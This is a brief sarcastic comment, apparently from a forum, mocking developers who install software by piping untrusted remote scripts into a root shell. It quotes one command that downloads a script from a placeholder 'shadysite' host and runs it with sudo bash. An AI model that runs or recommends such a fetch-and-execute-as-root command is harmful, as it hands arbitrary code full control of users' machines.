I don't see the problem here.

We have automated the task of developers blindly executing

  wget -qO - http://shadysite/foo.sh | sudo bash

It's a net win for everyone involved.

Malware writers and their targets alike, who, eager to install the latest fad library or framework would have voluntarily installed it anyway.